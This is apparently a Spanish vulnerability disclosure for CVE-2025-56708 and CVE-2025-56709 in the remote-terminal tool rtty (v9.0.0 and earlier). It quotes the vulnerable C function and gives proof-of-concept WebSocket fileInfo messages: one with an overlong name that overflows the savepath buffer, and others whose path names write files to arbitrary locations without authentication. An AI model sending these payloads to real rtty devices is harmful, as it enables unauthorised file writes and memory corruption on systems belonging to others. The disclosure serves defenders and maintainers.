
CVE-2025-56708&CVE-2025-56709 Detalles de la vulnerabilidad
En la versión rtty <=v9.0.0, el método fileinfo tiene una vulnerabilidad de desbordamiento que provoca que los datos se escriban continuamente en la variable global savepath, desencadenando así un desbordamiento de búfer.
savepath puede ser escrito continuamente, lo que provoca el desbordamiento.
static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
char *name = savepath + strlen(savepath);【1】
struct mntent *ment;
struct statvfs sfs;
char buf[512];
int fd;
ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);
ment = find_mount_point(savepath);
if (ment) {
uint64_t avail;
if (!strcmp(ment->mnt_type, "ramfs")) {
struct sysinfo si;
if (sysinfo(&si)) {
log_err("download file fail: '%s'\n", strerror(errno));
goto check_space_fail;
}
avail = si.freeram;
} else if (!statvfs(ment->mnt_dir, &sfs)) {
avail = sfs.f_bavail * sfs.f_frsize;
} else {
log_err("download file fail: '%s'\n", strerror(errno));
goto check_space_fail;
}
if (ctx->total_size > avail) {
log_err("download file fail: no enough space\n");
goto check_space_fail;
}
} else {
log_err("download file fail: not found mount point of '%s'\n", savepath);
goto check_space_fail;【2】
}
buffer_pull(info, name, len - 4);
if (!access(savepath, F_OK)) {
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
log_err("the file '%s' already exists\n", name);
goto open_fail;
}
fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
if (fd < 0) {
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
log_err("create file '%s' fail: %s\n", name, strerror(errno));
goto open_fail;
}
log_info("download file: %s, size: %u\n", savepath, ctx->total_size);
if (fchown(fd, ctx->uid, ctx->gid) < 0)
log_err("fchown %s fail: %s\n", savepath, strerror(errno));
if (ctx->total_size == 0)
close(fd);
else
ctx->fd = fd;
memcpy(buf, &ctx->total_size, 4);
strcpy(buf + 4, name);
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));
return;
check_space_fail:
send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
buffer_pull(info, name, len - 4);【3】
open_fail:
file_context_reset(ctx);
}
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}
https://github.com/zhaojh329/rtty/issues/139
La versión rtty <=v9.0.0 contiene una vulnerabilidad de traversal de directorios. En el protocolo interactivo, el método fileinfo tiene una falla lógica; un atacante puede secuestrar WebSocket e invocar el método fileinfo para subir archivos a cualquier ruta del sistema sin necesidad de que el usuario inicie sesión.
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
